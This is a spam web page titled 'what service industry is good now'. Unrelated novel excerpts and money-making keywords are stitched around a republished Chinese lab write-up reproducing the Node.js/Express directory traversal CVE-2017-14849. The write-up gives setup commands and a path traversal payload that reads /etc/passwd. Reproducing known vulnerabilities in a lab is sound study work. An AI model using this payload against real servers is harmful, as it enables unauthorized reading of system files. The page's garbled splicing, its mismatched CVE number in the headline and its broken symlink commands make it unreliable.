现在做什么服务行业好 当前位置:首页>现在做什么服务行业好>正文

现在做什么服务行业好

发布时间:2019-02-22

原标题:Node.js CVE-2017-1484复现(详细步骤)

这个时候,龙岛上的众人都能够看到这个火球,如同太阳一般炽热。孙艺维和丽萨娜的脸上露出了一副担忧之色,这爆炸实在是太震撼人心了,不知道叶扬到底有没有跑出来呢。

小游戏怎么赚钱

别人出道一年就强大到了他和红发都没办法在对手手里走过一招,而刘皓现在才几岁啊,二十多岁吧,再过几年他会强大到什么地步?也许挥手之间毁灭世界都不是不可能的,因为他实在是太可怕了。
不过海马濑人也不是一点收获都没有的,起码他内心中的恶念都被无名法老王打爆了,虽然输了比赛,但是内心却也是平静下来了,不再受到恶念的影响。

“半个多月执行任务?如果小欣能够配合龙腾好的话,那便可以直接去那个佣兵团的本营,直接屠灭那群人的中坚力量。失去了领导者,嗜血佣兵团便是群龙无首,龙腾便可收手,如果嗜血的人敢来华夏,杀之!不过,小欣可是我的外孙,我相信他!”唐老望着对面的唐欣,出言说道。

0x00 前言

早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent.com/index.php/blog/msg/121),然后想着复现,学习学习,就有了这篇文章。

 

0x01 漏洞简介

CVE(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849)上面的描述是这样的:

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.

换成我们看的懂的意思就是node.js 8.5.0 8.6.0 之间的版本会造成目录穿越漏洞,读取任意文件,而漏洞的原因是因为对”..”的处理和另外的模块不兼容。

打个比喻就是有一个人开发这个模块,另外的一个人开发另外个模块,大家对于这个东西的处理不一样,从而导致出现了漏洞。而这里的模块就是node.js express 

影响版本:

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

 

0x02 node.js是什么

Node.js® 是一个基于 Chrome V8 引擎的 JavaScript 运行时。 Node.js 使用高效、轻量级的事件驱动、非阻塞 I/O 模型。它的包生态系统,npm,是目前世界上最大的开源库生态系统。(抄从官网)

 

0x03 express是什么

Express是基于 Node.js 平台,快速、开放、极简的 web 开发框架。(同样抄从官网)

 

0x04 如何复现

下面采用腾讯云开发者实验室搭建环境进行快速复现。

复现准备:

0. 腾讯云开发者实验室的云主机一台 (我这里用的是《基于 Ubuntu 搭建微信小程序服务》的实验主机 ubuntu 16.04 64位)

1. node.js 8.5.0 https://nodejs.org/download/release/v8.5.0/

2. express-4.15.5 (https://github.com/expressjs/express/releases)

3. burpsuite

Step 1安装node.js 8.5.0

下载node.js 8.5.0安装包

wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz

解压安装包

tar -zxvf node-v8.5.0-linux-x64.tar.gz

移到通用软件安装目录/opt

mv node-v8.5.0-linux-x64 /opt/

安装 npm 和 node 命令到系统命令

sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/node /usr/local/bin/node 
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/npm /usr/local/bin/npm

验证一下:

node -v

输出版本号则表示配置成功

Step2 安装express-4.15.5

下载express-4.15.5

wget https://github.com/expressjs/express/archive/4.15.5.tar.gz

解压压缩包

tar -zxvf  4.15.5.tar.gz

进入express目录下,安装express

cd express-4.15.5 && npm install 

进入到expresss-4.15.5/examples/static-files目录里

node index.js

Step 3 发送payload验证

Payload: /../../../a/../../../../etc/passwd

 

0x05 漏洞原理分析

为什么payload会是这样的呢?请参考腾讯应急响应中心的那篇文章(https://security.tencent.com/index.php/blog/msg/121),写的很言简意赅。

(还不是因为自己菜,分析不出。。。。)

注意该漏洞是建立在文件夹通过express.static 来托管的情况下,因为在这种情况下才会使用normalize函数进行path标准化。(发现来源于p神的分析)

比如代码这样写:

app.use(express.static(path.join(__dirname, "static")));

那么payload应该是

/../../../a/../../../../etc/passwd

但代码如果是这样写的话:

app.use("/static",express.static(path.join(__dirname, "static")));

那么payload应该为:

/static/../../../a/../../../../etc/passwd

 

0x06 后记

复现很简单,但分析原理很难。至少我现在还没弄明白。等我弄明白了,再写写怎么分析与跟踪吧。

其实这里有一个挺有意思的点,那就是一些重大漏洞的追踪问题,关于这个漏洞官方早在九月份就已经发布了说明,而这个问题是在最近才得到重视,很明显就算是腾讯也没有第一时间去跟踪CVE的更新列表。

而在腾讯发了这篇文章之后,P神把复现环境给弄到了vulhub(https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849),速度之快令人惊奇。然后再代码审计里面发了,在微博里面发了。再接着整个安全圈其实都知道了。

然后这里我们得出了一个结论,如果想要得到第一手漏洞预警与学习,应该时刻关注着CVE列表,努力做第一个吃螃蟹的人。

编辑:建纯建卓

发布:2019-02-22 04:03:41

当前文章:http://aluminumalloyformwork.com/forum.php?mod=viewthread&tid=19690

任务佣金平台 形容赚钱多的成语 街上做什么生意好 免费网上手机兼职 趣头条赚钱是不是假的 淘宝联盟怎么赚高佣 同安兼职招聘网 写字楼网络推广渠道

92332 38911 37330 83725 19943 1681090789 61804 57065

责任编辑:安秉伯

随机推荐